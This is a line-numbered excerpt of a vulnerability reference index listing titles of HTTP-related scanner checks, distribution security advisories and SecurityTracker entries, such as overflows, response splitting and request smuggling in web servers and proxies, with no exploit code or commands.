14771| [71958] Slackware Advisory SSA:2011-252-01 httpd
14772| [71947] Slackware Advisory SSA:2011-133-02 httpd
14773| [71945] Slackware Advisory SSA:2011-145-02 httpd
14774| [71941] Slackware Advisory SSA:2011-284-01 httpd
14775| [71553] Gentoo Security Advisory GLSA 201206-27 (mini_httpd)
14776| [70687] Debian Security Advisory DSA 2368-1 (lighttpd)
14777| [70584] FreeBSD Ports: lighttpd
14778| [69020] Gentoo Security Advisory GLSA 201006-17 (lighttpd)
14779| [68922] Slackware Advisory SSA:2011-041-03 httpd
14780| [68175] Slackware Advisory SSA:2010-240-02 httpd
14781| [67045] Slackware Advisory SSA:2010-067-01 httpd
14782| [66846] FreeBSD Ports: lighttpd
14783| [66806] Debian Security Advisory DSA 1987-1 (lighttpd)
14784| [66780] Slackware Advisory SSA:2010-024-01 httpd
14785| [66557] Fedora Core 12 FEDORA-2009-12606 (httpd)
14786| [66498] Fedora Core 10 FEDORA-2009-12604 (httpd)
14787| [66275] CentOS Security Advisory CESA-2009:1580 (httpd)
14788| [66274] CentOS Security Advisory CESA-2009:1579 (httpd)
14789| [64741] Fedora Core 11 FEDORA-2009-8812 (httpd)
14790| [64661] CentOS Security Advisory CESA-2009:1205 (httpd)
14791| [64571] Slackware Advisory SSA:2009-214-01 httpd
14792| [64531] Mandrake Security Advisory MDVSA-2009:188 (php4-eaccelerator)
14793| [64448] CentOS Security Advisory CESA-2009:1148 (httpd)
14794| [64269] CentOS Security Advisory CESA-2009:1108 (httpd)
14795| [64124] CentOS Security Advisory CESA-2009:1075 (httpd)
14796| [63417] FreeBSD Ports: varnish
14797| [63385] Fedora Core 9 FEDORA-2008-11923 (lighttpd)
14798| [61943] Gentoo Security Advisory GLSA 200812-04 (lighttpd)
14799| [61701] FreeBSD Ports: lighttpd
14800| [61476] Slackware Advisory SSA:2008-210-02 httpd
14801| [61364] Debian Security Advisory DSA 1540-3 (lighttpd)
14802| [61357] Debian Security Advisory DSA 1609-1 (lighttpd)
14803| [60834] FreeBSD Ports: lighttpd
14804| [60808] Gentoo Security Advisory GLSA 200804-08 (lighttpd)
14805| [60793] Debian Security Advisory DSA 1540-2 (lighttpd)
14806| [60786] Debian Security Advisory DSA 1540-1 (lighttpd)
14807| [60573] Debian Security Advisory DSA 1521-1 (lighttpd)
14808| [60513] Gentoo Security Advisory GLSA 200803-10 (lighttpd)
14809| [60499] Debian Security Advisory DSA 1513-1 (lighttpd)
14810| [60388] Slackware Advisory SSA:2008-045-01 httpd
14811| [58862] FreeBSD Ports: lighttpd
14812| [58861] FreeBSD Ports: lighttpd
14813| [58828] FreeBSD Ports: lighttpd
14814| [58805] FreeBSD Ports: lighttpd
14815| [58646] Gentoo Security Advisory GLSA 200709-16 (lighttpd)
14816| [58644] Debian Security Advisory DSA 1362-2 (lighttpd)
14817| [58581] Debian Security Advisory DSA 1362-1 (lighttpd)
14818| [58546] Gentoo Security Advisory GLSA 200708-11 (lighttpd)
14819| [58257] Gentoo Security Advisory GLSA 200705-07 (lighttpd)
14820| [57988] Gentoo Security Advisory GLSA 200701-28 (thttpd)
14821| [57684] Debian Security Advisory DSA 1205-2 (thttpd)
14822| [57168] Slackware Advisory SSA:2006-209-01 Apache httpd
14823| [56731] Slackware Advisory SSA:2006-129-01 Apache httpd
14824| [56729] Slackware Advisory SSA:2006-130-01 Apache httpd redux
14825| [55795] Debian Security Advisory DSA 883-1 (thttpd)
14826| [54853] Gentoo Security Advisory GLSA 200502-21 (lighttpd)
14827| [53377] Debian Security Advisory DSA 396-1 (thttpd)
14828| [52169] FreeBSD Ports: lighttpd
14829| [20225] Kerio WinRoute Firewall HTTP/HTTPS Management Detection
14830| [17231] CERN httpd CGI name heap overflow
14831| [17230] CERN HTTPD access control bypass
14832| [16313] RaidenHTTPD directory traversal
14833| [15642] Format string on HTTP header value
14834| [15641] Format string on HTTP header name
14835| [15588] Detect Apache HTTPS
14836| [15563] Abyss httpd DoS
14837| [15553] OmniHTTPd pro long POST DoS
14838| [15397] ICECast HTTP basic authorization DoS
14839| [14783] Snitz Forums 2000 HTTP Response Splitting
14840| [14656] MailEnable HTTPMail Service GET Overflow Vulnerability
14841| [14655] MailEnable HTTPMail Service Content-Length Overflow Vulnerability
14842| [14654] MailEnable HTTPMail Service Authorization Header DoS Vulnerability
14843| [14229] HTTP Directory Traversal (Windows)
14844| [12073] Sami HTTP Server v1.0.4
14845| [11801] Format string on HTTP method name
14846| [11720] S-HTTP detection
14847| [11715] Header overflow against HTTP proxy
14848| [11213] http TRACE XSS attack
14849| [11183] HTTP negative Content-Length buffer overflow
14850| [11174] HTTP negative Content-Length DoS
14851| [11171] HTTP unfinished line denial
14852| [11158] Novell NetWare HTTP POST Perl Code Execution Vulnerability
14853| [11149] HTTP login page
14854| [11130] BrowseGate HTTP headers overflows
14855| [11129] HTTP 1.1 header overflow
14856| [11127] HTTP 1.0 header overflow
14857| [11084] Infinite HTTP request
14858| [11078] HTTP header overflow
14859| [11077] HTTP Cookie overflow
14860| [11075] dwhttpd format string
14861| [11069] HTTP User-Agent overflow
14862| [11065] HTTP method overflow
14863| [11061] HTTP version number overflow
14864| [11040] HTTP TRACE
14865| [10930] HTTP Windows 98 MS/DOS device names DOS
14866| [10818] Alchemy Eye HTTP Command Execution
14867| [10799] IBM-HTTP-Server View Code
14868| [10763] Detect the HTTP RPC endpoint mapper
14869| [10759] Private IP address leaked in HTTP headers
14870| [10758] Check for VNC HTTP
14871| [10716] OmniPro HTTPd 2.08 scripts source full disclosure
14872| [10657] NT IIS 5.0 Malformed HTTP Printer Request Header Buffer Overflow Vulnerability
14873| [10523] thttpd ssi file retrieval
14874| [10498] Test HTTP dangerous methods
14875| [10107] HTTP Server type and version
14876|
14877| SecurityTracker - https://www.securitytracker.com:
14878| [1028825] Cisco Unified Operations Manager Input Validation Flaw Permits HTTP Header Injection Attacks
14879| [1028638] RSA Authentication Manager Writes Operating System, SNMP, and HTTP Plug-in Proxy Passwords in Clear Text to Log Files
14880| [1028602] IBM WebSphere Portal Input Validation Flaw Permits HTTP Response Splitting Attacks
14881| [1028546] Windows HTTP Stack Header Processing Flaw Lets Remote Users Deny Service
14882| [1028360] Asterisk HTTP POST Content-Length Processing Flaw Lets Remote Users Deny Service
14883| [1028231] Cisco Aironet HTTP Profiler Bug Lets Remote Users Deny Service
14884| [1028203] IBM HTTP Server (IHS) Input Validation Flaws in Optional Modules Permit Cross-Site Scripting Attacks
14885| [1028094] Cisco IOS Software HTTP Server Socket Handling Bug Lets Remote Users Execute Arbitrary Code
14886| [1027860] Windows IP-HTTPS Certificate Processing Flaw Lets Remote Users Bypass Security Restrictions
14887| [1027802] lighttpd Connection Header Processing Flaw Lets Remote Users Deny Service
14888| [1027690] IBM Tivoli Monitoring Web Server HTTP TRACE/TRACK Support Lets Remote Users Obtain Potentially Sensitive Information
14889| [1027463] PHP HTTP Response Splitting Header Injection Protection Can Be Bypassed Using Carriage Return Characters
14890| [1027343] Novell Remote Manager Off-by-one Error in 'httpstkd' Lets Remote Users Deny Service
14891| [1027318] Ruby on Rails Bug in 'with_http_digest' Methods Lets Remote Users Deny Service
14892| [1027165] Squid XMLHttpRequest Allows Remote Users to Obtain the Target User's Proxy Username and Password
14893| [1027146] Adobe ColdFusion Bug in Component Browser Lets Remote Users Conduct HTTP Response Splitting Attacks
14894| [1027008] Cisco ASA Bugs Let Remote Users Conduct HTTP Response Splitting and Denial of Service Attacks and Obtain Potentially Sensitive Information
14895| [1026924] nginx Buffer Overflow in ngx_http_mp4_module Lets Remote Users Execute Arbitrary Code
14896| [1026861] Cisco IOS Zone-Based Firewall IP/HTTP/H.323/SIP Bugs Let Remote Users Deny Service
14897| [1026827] nginx HTTP Response Processing Lets Remote Users Obtain Portions of Memory Contents
14898| [1026813] Asterisk Stack Overflow in HTTP Manager Lets Remote Users Execute Arbitrary Code
14899| [1026359] lighttpd Authentication Decoding Bug Lets Remote Users Deny Service
14900| [1026339] JBoss Enterprise SOA httpha-invoker Bug Lets Remote Users Bypass Access Controls
14901| [1026169] Microsoft Forefront Unified Access Gateway Input Validation Flaws Permits Cross-Site Scripting, HTTP Response Splitting, and Denial of Service Attacks
14902| [1026095] Apache Tomcat HTTP DIGEST Authentication Weaknesses Let Remote Users Conduct Bypass Attacks
14903| [1026061] Blue Coat Director HTTP Trace Processing Flaw Permits Cross-Site Scripting Attacks
14904| [1026054] Apache mod_proxy_ajp HTTP Processing Error Lets Remote Users Deny Service
14905| [1025960] Apache httpd Byterange Filter Processing Error Lets Remote Users Deny Service
14906| [1025955] Ruby on Rails Bugs Permit HTTP Response Splitting, Cross-Site Scripting, and SQL Injection
14907| [1025489] Python CGIHTTPServer Lets Remote Users View CGI Source Code
14908| [1025303] Apache Tomcat HTTP BIO Connector Error Discloses Information From Different Requests to Remote Users
14909| [1025252] Immunity Debugger HTTP Update Buffer Overflow Lets Remote Users Execute Arbitrary Code via Man-in-the-Middle Attacks
14910| [1025027] Apache Tomcat maxHttpHeaderSize Parsing Error Lets Remote Users Deny Service
14911| [1024913] Kerio WinRoute Firewall HTTP Cache Can Be Poisoned By Remote Users
14912| [1024683] Bugzilla Permits Cross-Site Scripting and HTTP Response Splitting Attacks and Discloses Certain Information to Remote Users
14913| [1024472] Cisco IOS SSL VPN HTTP Redirect Memory Leak Lets Remote Users Deny Serivce
14914| [1024453] HP System Management Homepage Input Validation Flaw Permits HTTP Response Splitting Attacks
14915| [1024301] Microsoft XML Core Services (MSXML) HTTP Response Processing Flaw Lets Remote Users Execute Arbitrary Code
14916| [1024204] Oracle WebLogic Plugin Encoding Error Lets Remote Users Inject HTTP Headers
14917| [1024168] Cisco Application Control Engine Newline Processing Flaw May Let Remote Users Modify HTTP Headers
14918| [1024167] Cisco Content Services Switch HTTP and ClientCert Headers Can Be Spoofed or Modified By Remote USers
14919| [1024155] Cisco ASA URL Processing Flaw Lets Remote Users Conduct HTTP Response Splitting Attacks
14920| [1024096] Apache mod_proxy_http May Return Results for a Different Request
14921| [1023960] Lexmark Printers HTTP Authorization Field Processing Bug Lets Remote Users Deny Service
14922| [1023818] uTorrent HTTP Basic Authentication Processing Flaw in WebUI Lets Remote Users Deny Service
14923| [1023783] Mozilla Firefox Chrome Privilege Escalation Exposed via Firebug XMLHttpRequestSpy Lets Remote Users Execute Arbitrary Code
14924| [1023755] Interchange Lets Remote Users Conduct HTTP Response Splitting Attacks
14925| [1023690] Opera Integer Overflow in Processing HTTP 'Content-Length' Reponses Lets Remote Users Execute Arbitrary Code
14926| [1023488] Sun Java System Web Server Heap Overflow in Processing HTTP Digest Authentication Requests Lets Remote Users Execute Arbitary Code
14927| [1023188] Novell eDirectory Buffer Overflow in HTTPSTK Login Page Lets Remote Authenticated Users Execute Arbitrary Code
14928| [1023118] KDE Bugs Let Remote Users Cause XMLHttpRequests to Be Issued or JavaScript to Be Executed
14929| [1022849] Novell eDirectory HTTP Request Processing Flaw Lets Remote Users Deny Service
14930| [1022784] Solaris sockfs HTTP Request Processing Bug Lets Remote Users Deny Service
14931| [1022592] Akamai Download Manager Stack Overflow in Processing HTTP Responses Lets Remote Users Execute Arbitrary Code
14932| [1022517] Ruby on Rails Bug in 'http_authentication.rb' Lets Remote Users Bypass Authentication
14933| [1022429] Google Chrome Buffer Overflow in Processing HTTP Responses Lets Remote Users Execute Arbitrary Code
14934| [1022272] IP Filter ippool Buffer Overflow in 'lib/load_http.c' May Let Local Users Gain Elevated Privileges
14935| [1022211] Mac OS X CFNetwork Heap Overflow in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
14936| [1022108] Sun Java System Delegated Administrator Bug Lets Remote Users Conduct HTTP Response Splitting Attacks
14937| [1022094] Mozilla Firefox XMLHttpRequest and XPCNativeWrapper.toString Bugs Let Remote Users Bypass Same-Origin Restrictions
14938| [1022041] Windows HTTP Services Bugs Let Remote Users Execute Arbitrary Code
14939| [1022015] Cisco ASA HTTP, TCP, H.323, and SQL*Net Processing Bugs Let Remote Users Deny Service
14940| [1021918] Java Runtime Environment (JRE) HTTP Server Bug Lets Remote Users Deny Service
14941| [1021838] WordPress MU Input Validation Hole in HTTP Host Header Permits Cross-Site Scripting Attacks
14942| [1021783] cURL/libcurl HTTP Redirect Processing May Let Remote Users Access Files
14943| [1021695] Novell QuickFinder Server Input Validation Flaws in HTTP POST Parameters Permit Cross-Site Scripting Attacks
14944| [1021684] Squid HTTP Request Processing Error Lets Remote Users Deny Service
14945| [1021668] Mozilla Firefox HTTPOnly Enforcement Flaw Lets Users Access Cookies
14946| [1021598] Cisco IOS Input Validation Flaw in HTTP Server Permits Cross-Site Scripting Attacks
14947| [1021555] SquirrelMail May Send Session Authentication Cookies via HTTP
14948| [1021427] Mozilla Firefox Permits Cross-Domain Responses to XMLHttpRequests to Be Accessed
14949| [1021286] WordPress Input Validation Hole in Processing 'HTTP_HOST' HTTP Header Permits Cross-Site Scripting Attacks
14950| [1021188] Mozilla Firefox nsXMLHttpRequest::NotifyEventListeners() Flaw Lets Remote Users Bypass Same-Origin Policies
14951| [1021185] Mozilla Firefox http-index-format MIME Parsing Buffer Overflow Lets Remote Users Execute Arbitrary Code
14952| [1021146] Adobe Flash Player HTTP Response Header Processing Flaw Permits Cross-Site Scripting Attacks
14953| [1021088] Cisco ASA Bug in Hardware Crypto Accelerator Support Lets Remote Users Deny Service
14954| [1020989] Novell eDirectory Management Toolbox HTTP Header Processing Bugs Let Remote Users Deny Service
14955| [1020929] Cisco IOS Firewall Bug in HTTP Application Inspection Control Lets Remote Users Deny Service
14956| [1020900] HTTP Anti Virus Proxy Bug in 'sockethandler.cpp' Lets Remote Users Deny Service
14957| [1020786] Novell eDirectory Heap Overflows in HTTP Protocol Stack Let Remote Users Execute Arbitrary Code
14958| [1020785] Novell eDirectory Input Validation Hole in HTTPSTK Permits Cross-Site Scripting Attacks
14959| [1020771] Red Hat Directory Server Buffer Overflow in Processing Accept-Language HTTP Header Values Lets Remote Users Execute Arbitrary Code
14960| [1020654] Ruby WEBrick HTTP Server split_header_value() Function Regex Bug Lets Remote Users Deny Service
14961| [1020622] Tomcat Input Validation Hole in HttpServletResponse.sendError() Permits Cross-Site Scripting Attacks
14962| [1020588] K9 Web Protection Buffer Overflows in Processing HTTP Responses From the Centralized Server Lets Remote Users Execute Arbitrary Code
14963| [1020587] K9 Web Protection Buffer Overflows in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
14964| [1020515] Citrix XenServer Input Validation Flaw in XenAPI HTTP Interface Permits Cross-Site Scripting Attacks
14965| [1020328] PHP File and Directory Function safe_mode Restrictions Can By Bypass With 'http://' Prefix
14966| [1020327] PHP posix_access() safe_mode Restrictions Can By Bypass With 'http://' Prefix
14967| [1020226] Microsoft Internet Explorer HTTP Request Header Bug May Let Remote Users Obtain Information in a Different Domain
14968| [1020098] IBM Lotus Domino Web Server Stack Overflow in Processing HTTP 'Accept-Language' Header Lets Remote Users Execute Arbitrary Code
14969| [1019836] Novell eDirectory HTTP Header Processing Lets Remote Users Deny Service
14970| [1019783] Novell eDirectory HTTP Request Procesing Bug Lets Remote Users Deny Service
14971| [1019703] Mozilla Firefox URL Bug Lets Remote Users Spoof HTTP Referer Values in Certain Cases
14972| [1019679] Asterisk Predictable Session IDs May Let Remote Users Hijack HTTP Manager Sessions
14973| [1019536] Squid Analysis Report Generator Buffer Overflow in Processing HTTP User-Agent and Access Logs Lets Remote Users Execute Arbitrary Code
14974| [1019522] Trend Micro OfficeScan HTTP Request Parameter Processing Bugs Let Remote Users Deny Service
14975| [1019443] WebLogic Servlets May Grant Access to Remote Users Based on Modified HTTP Request Header Values
14976| [1019408] Cisco Unified IP Phone Can Be Crashed By Remote Users Sending an HTTP Request Packet
14977| [1019370] Webmin Input Validation Hole in Processing HTTP Referer Values Permits Cross-Site Scripting Attacks
14978| [1019178] QuickTime Buffer Overflow in Processing HTTP 404 Response Messages Lets Remote Users Execute Arbitrary Code
14979| [1019116] Adobe Flash Player Bugs Let Remote Users Execute Arbitrary Code, Scan Ports, and Conduct HTTP Request Splitting and Cross-Site Scripting Attacks
14980| [1019030] Apache Input Validation Hole in Default HTTP 413 Error Page Permits Cross-Site Scripting Attacks
14981| [1019017] Red Hat Content Accelerator Kernel Patch open(O_ATOMICLOOKUP) Function Lets Local Users Deny Service
14982| [1018988] Wireshark Wireshark MP3, DNP, SSL, ANSI MAP, Firebird/Interbase, NCP, HTTP, MEGACO, DCP ETSI, OS/400, PPP, Bluetooth SDP, and RPC Portmap Bugs Let Remote Users Deny Service
14983| [1018825] Cisco Firewall Service Module HTTPS and MGCP Processing Bugs Let Remote Users Deny Service
14984| [1018659] Novell iChain HTTP Content Scanning Can Be Bypassed Using Full-Width Unicode Content
14985| [1018553] Streamripper Buffer Overflows in httplib_parse_sc_header() Let Remote Users Execute Arbitrary Code
14986| [1018504] Sun Java System Web Server Redirect URL Encoding Bug Lets Remote Users Conduct HTTP Response Splitting Attacks
14987| [1018491] Mac OS X CFNetwork Bugs Let Remote Users Execute Arbitrary FTP Commands and Conduct HTTP Response Splitting Attacks
14988| [1018315] Wireshark DHCP/BOOTP, MMS, SSL, DCP ETSI, iSeries, and HTTP Chunked Response Bugs Let Remote Users Deny Service
14989| [1018304] Apache HTTPD scoreboard Protection Flaw Lets Local Users Terminate Arbitrary Processes
14990| [1018303] Apache HTTPD mod_cache May Let Remote Users Deny Service
14991| [1018283] RaidenHTTPD Input Validation Hole Permits Cross-Site Scripting Attacks
14992| [1018023] PHP Buffer Overflow in make_http_soap_request() May Let Remote Users Execute Arbitrary Code
14993| [1017969] Microsoft Internet Explorer Digest Authentication Bug Lets Remote Users Conduct HTTP Request Splitting Attacks
14994| [1017968] Mozilla Firefox Digest Authentication Bug Lets Remote Users Conduct HTTP Request Splitting Attacks
14995| [1017932] Novell GroupWise WebAccess Buffer Overflow in Processing HTTP Basic Authentication Lets Remote Users Execute Arbitrary Code
14996| [1017840] IBM Tivoli Provisioning Manager Memory Corruption Error in Processing HTTP POST Requests May Let Remote Users Execute Arbitrary Code
14997| [1017806] IBM WebSphere CRLF Validation Bug Permits HTTP Response Splitting Attacks
14998| [1017586] Blue Coat WinProxy Heap Overflow in Processing HTTP CONNECT Requests May Let Remote Users Execute Arbitrary Code
14999| [1017581] Wireshark Bugs in TCP, HTTP, IEEE 802.11, and LLT Dissectors Let Remote Users Deny Service
15000| [1017432] Http explorer Lets Remote Users Traverse the Directory on the Target System
15001| [1017324] Sun Java System Web Proxy Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
15002| [1017323] Sun Java System Web Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
15003| [1017322] Sun Java Application Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
15004| [1017129] Wireshark (Ethereal) Bugs in HTTP, LDAP, XOT, WBXML, and MIME Multipart Dissectors Let Remote Users Deny Service
15005| [1017088] SHTTPD Buffer Overflow Lets Remote Users Execute Arbitrary Code
15006| [1017078] Adobe Flash Player Plugin Lets Remote Users Injection Arbitrary HTTP Header Data
15007| [1017007] TorrentFlux Missing Input Validation in HTTP User-Agent Permits Cross-Site Scripting Attacks
15008| [1016971] McAfee ePolicy Orchestrator Buffer Overflow in Processing HTTP Source Headers Lets Remote Users Execute Arbitrary Code
15009| [1016970] McAfee ProtectionPilot Buffer Overflow in Processing HTTP Source Headers Lets Remote Users Execute Arbitrary Code
15010| [1016731] Microsoft Internet Explorer URL Buffer Overflow in Processing HTTP 1.1 Protocol with Compression Lets Remote Users Execute Arbitrary Code
15011| [1016569] IBM HTTP Server (IHS) Lack of Input Validation in Expect Header May Permit Cross-Site Scripting Attacks
15012| [1016508] Invision Power Board Lack of Validation of HTTP Client IP Value Lets Remote Users Inject SQL Commands
15013| [1016506] Microsoft Internet Security and Acceleration Server HTTP File Exentsion Filter Can Be Bypassed By Remote Users
15014| [1016239] WinGate Buffer Overflow in HTTP Proxy Lets Remote Users Execute Arbitrary Code
15015| [1016214] Mozilla Thunderbird Bugs Permit Arbitrary Code Execution, Cross-Site Scripting, and HTTP Response Smuggling
15016| [1016202] Mozilla Firefox Bugs Permit Arbitrary Code Execution, Cross-Site Scripting, and HTTP Response Smuggling
15017| [1016058] Symantec Gateway Security HTTP Proxy May Disclose Internal NAT Addresses
15018| [1016057] Symantec Enterprise Firewall HTTP Proxy May Disclose Internal NAT Addresses
15019| [1016030] zawhttpd Can Be Crashed By Remote Users
15020| [1015978] Ruby HTTP/XMLRPC Server Lets Remote Users Block Connections
15021| [1015870] Cisco 11500 Content Services Switch HTTP Compression Bug Lets Remote Users Deny Service
15022| [1015863] Kaffeine Buffer Overflow in http_peek() When Fetching Playlists Lets Remote Users Execute Arbitrary Code
15023| [1015858] AN HTTPD Discloses Script Source Code to Remote Users
15024| [1015857] IBM WebSphere Lets Remote Users Deny Service By Sending Large HTTP Header Values
15025| [1015779] Dwarf HTTP Server Discloses JSP Source Code and Permits Cross-Site Scripting Attacks
15026| [1015713] Apple Safari JavaScript Buffer Overflow Lets Remote Users Execute Arbitrary Code and HTTP Redirect Bug Lets Remote Users Access Files
15027| [1015703] lighttpd Discloses Script Source Code to Remote Users
15028| [1015702] SAP Web Application Server Lets Remote Users Inject Data into HTTP Responses
15029| [1015546] Cisco VPN 3000 Concentrator Bug in HTTP Service Lets Remote Users Deny Service
15030| [1015511] TippingPoint Intrusion Prevention System HTTP Processing Lets Remote Users Deny Service
15031| [1015484] PHP Input Validation Error in Session ID Values Permits HTTP Response Splitting Attacks
15032| [1015432] raSMP Input Validation Flaw in HTTP User-Agent Field Permits Cross-Site Scripting Attacks
15033| [1015420] Hitachi Business Logic - Container Input Validation Holes Permit SQL Injection, Cross-Site Scripting, and HTTP Response Splitting Attacks
15034| [1015403] httprint Input Validation Error in 'Server' Field Lets Remote Users Injection Scripting Code or Deny Service
15035| [1015376] Microsoft IIS Lets Remote Users Deny Service or Execute Arbitrary Code With Malformed HTTP GET Requests
15036| [1015362] Watchfire AppScan Buffer Overflow in Processing HTTP 401 Response Messages Lets Remote Users Execute Arbitrary Code
15037| [1015350] Microsoft Internet Explorer Bug in Using HTTPS Proxies May Disclose Web URLs to Remote Users
15038| [1015275] Cisco IOS HTTP Server Input Validation Hole in Buffers Command Permits Cross-Site Scripting Attacks
15039| [1015213] phpMyAdmin 'libraries/header_http.inc.php' Lets Remote Users Conduct HTTP Response Splitting Attacks
15040| [1015174] SAP Web Application Server Input Validation Holes Permit HTTP Response Splitting, Cross-Site Scripting, and Phishing Attacks
15041| [1015112] Solaris Management Console Enables HTTP TRACE Support By Default
15042| [1015104] Snoopy Input Validation Hole in _httpsrequest() Lets Remote Execute Arbitrary Commands
15043| [1015046] GFI MailSecurity Web Module Buffer Overflow in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
15044| [1014506] Small HTTP Server FTP Service Lets Remote Authenticated Users Write to Arbitrary Files
15045| [1014427] MailEnable Professional Flaw in HTTPMail Service May Let Remote Users Execute Arbitrary Code
15046| [1014369] SunONE Web Server May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
15047| [1014368] Oracle Application Server Web Server May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
15048| [1014367] IBM WebSphere May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
15049| [1014366] BEA WebLogic May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
15050| [1014365] Tomcat May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
15051| [1014364] Microsoft Internet Information Server May Allow Remote Users to Conduct HTTP Response Smuggling Attacks
15052| [1014360] Oracle Application Server Web Cache Lets Remote Users Conduct HTTP Request Smuggling Attacks
15053| [1014359] DeleGate Proxy Lets Remote Users Conduct HTTP Request Smuggling Attacks
15054| [1014358] Sun Java System Web Proxy Server Lets Remote Users Conduct HTTP Request Smuggling Attacks
15055| [1014357] Check Point FireWall-1 HTTP Request Smuggling May Let Remote Users Bypass Web Intelligence Features
15056| [1014356] Microsoft ISA Server May Accept HTTP Authentication Even When SSL Is Required
15057| [1014350] Squid HTTP Header Processing Lets Remote Users Smuggle HTTP Requests
15058| [1014323] Apache Chunked Transfer-Encoding and Content-Length Processing Lets Remote Users Smuggle HTTP Requests
15059| [1014310] ASP Nuke Input Validation Holes Permit SQL Injection, HTTP Response Splitting, and Cross-Site Scripting Attacks
15060| [1014285] UBBThreads Multiple Input Validation Holes Permit Cross-Site Scripting, SQL Injection, and HTTP Response Splitting Attacks
15061| [1014263] MercuryBoard Input Validation Hole in HTTP User-Agent Permits SQL Injection
15062| [1014239] Opera XMLHttpRequest Access Controls Can By Bypassed By Remote Users
15063| [1013923] Orenosv HTTP/FTP Server FTP Command Buffer Overflow Lets Remote Users Crash the Server and HTTP SSI Buffer Overflow May Let Local Users Execute Arbitrary Code
15064| [1013910] Squid http_access Results May Be Unexpected Due to Configuration Errors
15065| [1013839] Lotus Domino @SetHTTPHeader Permits HTTP Response Splitting Attacks
15066| [1013835] Safari Can Be Crashed With Long HTTPS URL
15067| [1013802] SqWebMail Input Validation Hole in 'redirect' Parameter Permits HTTP Response Splitting Attacks
15068| [1013801] MaxDB HTTP Request '%' Buffer Overflow Lets Remote Users Execute Arbitrary Code
15069| [1013786] MailEnable HTTPMail 'Authorization' Header Lets Remote Users Execute Arbitrary Code
15070| [1013726] PHP-Nuke Input Validation Hole in Surveys Module Permits HTTP Response Splitting Attacks
15071| [1013709] Axel Buffer Overflow in Processing HTTP Location Values Lets Remote Users Execute Arbitrary Code
15072| [1013666] AN HTTP Server 'cmdIS.DLL' Buffer Overflow Lets Local Users Execute Arbitrary Code and Remote Users Conduct Cross-Site Scripting Attacks
15073| [1013557] Trillian Buffer Overflow in Processing HTTP Response Headers May Let Remote Users Execute Arbitrary Code
15074| [1013514] Phorum Input Validation'search.php' HTTP Response Splitting
15075| [1013370] HTTP Anti Virus Proxy May Not Detect Viruses in Certain Archives
15076| [1013334] RaidenHTTPD Discloses PHP Source Code and Lets Remote Users Execute Arbitrary Code
15077| [1013331] CuteNews Input Validation Holes in HTTP Header Parameters Let Remote Users Conduct Cross-Site Scripting Attacks
15078| [1013307] KNet HTTP GET Request Buffer Overflow Lets Remote Users Execute Arbitrary Code
15079| [1013191] Sami HTTP Server Input Validation Holes Disclose Files to Remote Users and Let Remote Users Crash the Service
15080| [1013182] HP HTTP Server Buffer Overflow Lets Remote Users Execute Arbitrary Code
15081| [1013088] RaidenHTTPD Input Validation Flaw Discloses Files to Remote Users
15082| [1012992] Squid Error in Parsing HTTP Content-Length Headers May Let Remote Users Poison the Cache
15083| [1012948] MaxDB sapdbwa_GetUserData() and HTTP Header Bugs Lets Remote Users Deny Service
15084| [1012865] OpenBSD httpd mod_include Local Buffer Overflow Has Unspecified Impact
15085| [1012528] Ethereal DICOM, HTTP, and SMB Dissector Bugs Let Remote Users Execute Arbitrary Code
15086| [1012365] JanaServer 2 http-server and pna-proxy Flaws Let Remote Users Deny Service
15087| [1012200] phpWebSite Input Validation Flaws Let Remote Users Conduct HTTP Response Splitting Attacks
15088| [1012168] WebCalendar Grants Administrative Access and Permits Cross-Site Scripting and HTTP Response Splitting Attacks
15089| [1012043] yChat HTTP Errors Let Remote Users Deny Service
15090| [1011864] Serendipity Input Validation Flaws in Processing Request URI and HTTP Referer Field May Permit HTTP Response Splitting Attacks
15091| [1011481] DCP-Portal Input Validation Errors Let Remote Users Conduct Cross-Site Scripting and HTTP Response Splitting Attacks
15092| [1011439] Icecast Buffer Overflow in Processing HTTP Headers Lets Remote Users Execute Arbitrary Code
15093| [1011427] MyServer Can Be Crashed By Remote Users With a Specially Crafted HTTP POST Request
15094| [1011235] Pingtel xpressa Boundary Error in HTTP Management Interface Lets Remote Authenticated Users Crash the Phone
15095| [1011135] Comersus Shopping Cart 'redirecturl' Input Validation Flaw Permits HTTP Response Splitting Attacks
15096| [1011046] icecast Input Validation Error in HTTP UserAgent Field Permits Cross-Site Scripting Attacks
15097| [1010949] Kerio MailServer Bugs in Embedded HTTP Server Have Unspecified Impact
15098| [1010850] thttpd Input Validation Error Discloses Files to Remote Users
15099| [1010837] MailEnable Professional HTTPMail Bug Lets Remote Users Deny Service
15100| [1010797] IBM WebSphere Can Be Crashed By Remote Users Sending Large HTTP Headers
15101| [1010751] Xitami Web Server Can Be Crashed By Remote Users Sending Invalid HTTP Headers
15102| [1010613] Pavuk Buffer Overflow in Processing HTTP Location Headers Lets Remote Web Servers Execute Arbitrary Code on the Target System
15103| [1010599] Apache httpd Header Line Memory Allocation Lets Remote Users Crash the Server
15104| [1010291] MiniShare Can Be Crashed By Remote Users With Incomplete HTTP Requests
15105| [1010289] Orenosv HTTP/FTP Server Can Be Crashed By Remote Users
15106| [1010255] CBTT Can Be Crashed By Remote Users Sending Specially Crafted HTTP Basic Authentication Headers
15107| [1010254] BNBT Can Be Crashed By Remote Users Sending Specially Crafted HTTP Basic Authentication Headers
15108| [1010203] OmniHTTPd Buffer Overflow in HTTP GET Range Header May Let Remote Users Execute Arbitrary Code
15109| [1010171] NetChat Buffer Overflow in HTTP Service Lets Remote Users Execute Arbitrary Code
15110| [1010107] MailEnable Buffer Overflow in HTTPMail Lets Remote Users Execute Arbitrary Code
15111| [1009945] IBM HTTP Server Can Be Crashed By Remote Users Sending Specially Crafted SSL Packets
15112| [1009762] Microsoft Windows COM Internet Services and RPC over HTTP Can Be Crashed By Remote Users
15113| [1009597] MPlayer Buffer Overflow in Parsing HTTP Location Header Lets Remote Servers Execute Arbitrary Code
15114| [1009548] Kerio WinRoute Firewall May Crash Due to Malformed HTTP Headers
15115| [1009528] FirstClass HTTP Server Input Validation Flaw in 'Upload.shtml' Permits Cross-Site Scripting Attacks
